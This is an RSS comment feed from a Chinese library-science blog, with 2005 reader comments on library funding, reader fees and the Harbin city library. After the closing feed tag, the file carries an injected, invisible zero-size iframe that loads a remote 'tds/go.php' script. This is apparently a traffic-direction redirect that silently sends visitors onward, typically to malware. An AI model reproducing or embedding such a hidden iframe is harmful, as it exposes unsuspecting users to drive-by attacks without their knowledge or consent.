<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>《2005年哈尔滨峰会散记之六——天堂是图书馆的模样》的评论</title>
	<atom:link href="http://www.mingzhiguwen.net/archives/45.html/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mingzhiguwen.net/archives/45.html</link>
	<description></description>
	<lastBuildDate>Mon, 26 Dec 2011 03:02:12 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
	<item>
		<title>作者：reader</title>
		<link>http://www.mingzhiguwen.net/archives/45.html/comment-page-1#comment-266</link>
		<dc:creator>reader</dc:creator>
		<pubDate>Wed, 26 Jan 2005 15:51:11 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2005%e5%b9%b4%e5%93%88%e5%b0%94%e6%bb%a8%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e5%85%ad%e2%80%94%e2%80%94%e5%a4%a9%e5%a0%82%e6%98%af%e5%9b%be%e4%b9%a6%e9%a6%86%e7%9a%84%e6%a8%a1%e6%a0%b7.html#comment-266</guid>
		<description>　

&#160;我觉得，中国的图书馆建设在走一条弯路。首先，是办馆思路的错误。大家争相花钱买书，其目的就是为了扩大藏书数量。可是同时，又把大量的书作为基藏，藏起来。读者能看到的书还是很少。其次，受国家发展经济的影响，各个图书馆有竞相发展经济--想方设法赚钱，甚至有些不择手段。 &#160;都说图书馆是知识的宝库，可是作为宝库，为什么图书馆又都被认为是清水衙门？我觉得是各位领导的工作思路有问题。宝库的资源一直没有被挖掘。俗话说：君子爱财取之有道。学过图书馆专业或者懂得图书馆的人都知道，图书馆事业是影响公益事业。既然是公益事业，向到馆的读者收任何形式的费用都应该是被绝对禁止的。市场经济的环境下，大家都想挣钱是可以理解的，但是不应该挣的钱就是不应该挣。作为图书馆，应该用自己的劳动为读者提供别人做不到的服务，在这种情况下，我想适当的收取较低的费用任何人都可以理解。
</description>
		<content:encoded><![CDATA[<p>　</p>
<p>&#160;我觉得，中国的图书馆建设在走一条弯路。首先，是办馆思路的错误。大家争相花钱买书，其目的就是为了扩大藏书数量。可是同时，又把大量的书作为基藏，藏起来。读者能看到的书还是很少。其次，受国家发展经济的影响，各个图书馆有竞相发展经济&#8211;想方设法赚钱，甚至有些不择手段。 &#160;都说图书馆是知识的宝库，可是作为宝库，为什么图书馆又都被认为是清水衙门？我觉得是各位领导的工作思路有问题。宝库的资源一直没有被挖掘。俗话说：君子爱财取之有道。学过图书馆专业或者懂得图书馆的人都知道，图书馆事业是影响公益事业。既然是公益事业，向到馆的读者收任何形式的费用都应该是被绝对禁止的。市场经济的环境下，大家都想挣钱是可以理解的，但是不应该挣的钱就是不应该挣。作为图书馆，应该用自己的劳动为读者提供别人做不到的服务，在这种情况下，我想适当的收取较低的费用任何人都可以理解。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：reader</title>
		<link>http://www.mingzhiguwen.net/archives/45.html/comment-page-1#comment-267</link>
		<dc:creator>reader</dc:creator>
		<pubDate>Wed, 26 Jan 2005 15:48:56 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2005%e5%b9%b4%e5%93%88%e5%b0%94%e6%bb%a8%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e5%85%ad%e2%80%94%e2%80%94%e5%a4%a9%e5%a0%82%e6%98%af%e5%9b%be%e4%b9%a6%e9%a6%86%e7%9a%84%e6%a8%a1%e6%a0%b7.html#comment-267</guid>
		<description>
我觉得，中国的图书馆建设在走一条弯路。首先，是办馆思路的错误。大家争相花钱买书，为了扩大藏书数量。可是同时，又把大量的书作为基藏，藏起来。读者能看到的书还是很少。其次，受国家发展经济的影响，各个图书馆有竞相发展经济--想方设法赚钱，甚至有些不择手段。都说图书馆是知识的宝库，可是作为宝库，为什么图书馆又都被认为是清水衙门？我觉得是各位领导的工作思路有问题。宝库的资源一直没有被挖掘。俗话说：君子爱财取之有道。学过图书馆专业或者懂得图书馆的人都知道，图书馆事业是影响公益事业。既然是公益事业，向到馆的读者收任何形式的费用都应该是被绝对禁止的。市场经济的环境下，大家都想挣钱是可以理解的，但是不应该挣的钱就是不应该挣。作为图书馆，应该用自己的劳动为读者提供别人做不到的服务，在这种情况下，我想适当的收取较低的费用任何人都可以理解。
</description>
		<content:encoded><![CDATA[<p>我觉得，中国的图书馆建设在走一条弯路。首先，是办馆思路的错误。大家争相花钱买书，为了扩大藏书数量。可是同时，又把大量的书作为基藏，藏起来。读者能看到的书还是很少。其次，受国家发展经济的影响，各个图书馆有竞相发展经济&#8211;想方设法赚钱，甚至有些不择手段。都说图书馆是知识的宝库，可是作为宝库，为什么图书馆又都被认为是清水衙门？我觉得是各位领导的工作思路有问题。宝库的资源一直没有被挖掘。俗话说：君子爱财取之有道。学过图书馆专业或者懂得图书馆的人都知道，图书馆事业是影响公益事业。既然是公益事业，向到馆的读者收任何形式的费用都应该是被绝对禁止的。市场经济的环境下，大家都想挣钱是可以理解的，但是不应该挣的钱就是不应该挣。作为图书馆，应该用自己的劳动为读者提供别人做不到的服务，在这种情况下，我想适当的收取较低的费用任何人都可以理解。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：littlebluesnail</title>
		<link>http://www.mingzhiguwen.net/archives/45.html/comment-page-1#comment-268</link>
		<dc:creator>littlebluesnail</dc:creator>
		<pubDate>Thu, 20 Jan 2005 05:53:40 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2005%e5%b9%b4%e5%93%88%e5%b0%94%e6%bb%a8%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e5%85%ad%e2%80%94%e2%80%94%e5%a4%a9%e5%a0%82%e6%98%af%e5%9b%be%e4%b9%a6%e9%a6%86%e7%9a%84%e6%a8%a1%e6%a0%b7.html#comment-268</guid>
		<description>　

这一段被外界无聊的刺激多了，原本对图情的热情已经快消殆尽了，虽然我还没有真正的进入到图情的圈子里。这些文字或许可以把我唤回来。最后想说的是，图情界需要一些灵活的，具有大智慧而又能付诸实际的人。
</description>
		<content:encoded><![CDATA[<p>　</p>
<p>这一段被外界无聊的刺激多了，原本对图情的热情已经快消殆尽了，虽然我还没有真正的进入到图情的圈子里。这些文字或许可以把我唤回来。最后想说的是，图情界需要一些灵活的，具有大智慧而又能付诸实际的人。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：超平</title>
		<link>http://www.mingzhiguwen.net/archives/45.html/comment-page-1#comment-269</link>
		<dc:creator>超平</dc:creator>
		<pubDate>Wed, 19 Jan 2005 04:35:54 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2005%e5%b9%b4%e5%93%88%e5%b0%94%e6%bb%a8%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e5%85%ad%e2%80%94%e2%80%94%e5%a4%a9%e5%a0%82%e6%98%af%e5%9b%be%e4%b9%a6%e9%a6%86%e7%9a%84%e6%a8%a1%e6%a0%b7.html#comment-269</guid>
		<description>
孙馆长所说的“政治”因素肯定是有的，比如杭州市馆，几位年轻的馆长充满朝气，也费尽心思，为市政府决策服务搞得有声有色，据说现在已发展到“一对一”服务了。我还没有跟他们探讨过，总觉得这种“向上”的服务应该是权益之计，在获得政府欢心能够多讨得一点银子以后，重点还是要放在对市民的服务上。但是，在哈尔滨，情况却并非我们想象的，孙馆长看看老槐博客就知道了，黑龙江省馆的情形让人添堵哪，政府哪里是在办图书馆！个中情况我不便说，总之那个省馆离天堂的模样差了十万八千里，在这种情况下，我才更觉得市馆的难能可贵。比哈尔滨有钱的城市多的是，却没有几个能做得这么好的，单就不用办证就能进去看书这一点，就够好多馆长消化的了。
</description>
		<content:encoded><![CDATA[<p>孙馆长所说的“政治”因素肯定是有的，比如杭州市馆，几位年轻的馆长充满朝气，也费尽心思，为市政府决策服务搞得有声有色，据说现在已发展到“一对一”服务了。我还没有跟他们探讨过，总觉得这种“向上”的服务应该是权益之计，在获得政府欢心能够多讨得一点银子以后，重点还是要放在对市民的服务上。但是，在哈尔滨，情况却并非我们想象的，孙馆长看看老槐博客就知道了，黑龙江省馆的情形让人添堵哪，政府哪里是在办图书馆！个中情况我不便说，总之那个省馆离天堂的模样差了十万八千里，在这种情况下，我才更觉得市馆的难能可贵。比哈尔滨有钱的城市多的是，却没有几个能做得这么好的，单就不用办证就能进去看书这一点，就够好多馆长消化的了。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：孙继林</title>
		<link>http://www.mingzhiguwen.net/archives/45.html/comment-page-1#comment-270</link>
		<dc:creator>孙继林</dc:creator>
		<pubDate>Tue, 18 Jan 2005 23:29:42 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2005%e5%b9%b4%e5%93%88%e5%b0%94%e6%bb%a8%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e5%85%ad%e2%80%94%e2%80%94%e5%a4%a9%e5%a0%82%e6%98%af%e5%9b%be%e4%b9%a6%e9%a6%86%e7%9a%84%e6%a8%a1%e6%a0%b7.html#comment-270</guid>
		<description>　

李老师在哈尔滨市馆的见闻引发了我的一点联想。省会城市里有不少很有特色的市馆，在省会城市里，省馆与市馆有比较效应，省会规模大、藏书多、级别高，庞然大物也。省馆办的好，省文化厅的脸上有光。市政府文化部门心里酸酸的，于是要求市馆为他们长脸。省会城市钱总是有的，找各把能鼓捣的干部当馆长也是办得到的，于是暗地里膘上劲，要争一口气。因此有不少省会里的市馆办得很不错，馆长当劳模或先进的也不少。这还真有点政治因素来。
</description>
		<content:encoded><![CDATA[<p>　</p>
<p>李老师在哈尔滨市馆的见闻引发了我的一点联想。省会城市里有不少很有特色的市馆，在省会城市里，省馆与市馆有比较效应，省会规模大、藏书多、级别高，庞然大物也。省馆办的好，省文化厅的脸上有光。市政府文化部门心里酸酸的，于是要求市馆为他们长脸。省会城市钱总是有的，找各把能鼓捣的干部当馆长也是办得到的，于是暗地里膘上劲，要争一口气。因此有不少省会里的市馆办得很不错，馆长当劳模或先进的也不少。这还真有点政治因素来。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：观众</title>
		<link>http://www.mingzhiguwen.net/archives/45.html/comment-page-1#comment-271</link>
		<dc:creator>观众</dc:creator>
		<pubDate>Mon, 17 Jan 2005 15:37:45 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2005%e5%b9%b4%e5%93%88%e5%b0%94%e6%bb%a8%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e5%85%ad%e2%80%94%e2%80%94%e5%a4%a9%e5%a0%82%e6%98%af%e5%9b%be%e4%b9%a6%e9%a6%86%e7%9a%84%e6%a8%a1%e6%a0%b7.html#comment-271</guid>
		<description>
超平教授是个心地善良的好同志，黑龙江馆工作做得也不错，但做的和真的之间是否还有什么? 从他们那个刊物版面费的收取态度，不难想象说的和做的有多少距离。
</description>
		<content:encoded><![CDATA[<p>超平教授是个心地善良的好同志，黑龙江馆工作做得也不错，但做的和真的之间是否还有什么? 从他们那个刊物版面费的收取态度，不难想象说的和做的有多少距离。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：旁边</title>
		<link>http://www.mingzhiguwen.net/archives/45.html/comment-page-1#comment-272</link>
		<dc:creator>旁边</dc:creator>
		<pubDate>Mon, 17 Jan 2005 05:13:22 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2005%e5%b9%b4%e5%93%88%e5%b0%94%e6%bb%a8%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e5%85%ad%e2%80%94%e2%80%94%e5%a4%a9%e5%a0%82%e6%98%af%e5%9b%be%e4%b9%a6%e9%a6%86%e7%9a%84%e6%a8%a1%e6%a0%b7.html#comment-272</guid>
		<description>
个中原因，还是要了解了解再说。我又是第一个看到并发言的人。呵呵。。。

</description>
		<content:encoded><![CDATA[<p>个中原因，还是要了解了解再说。我又是第一个看到并发言的人。呵呵。。。</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
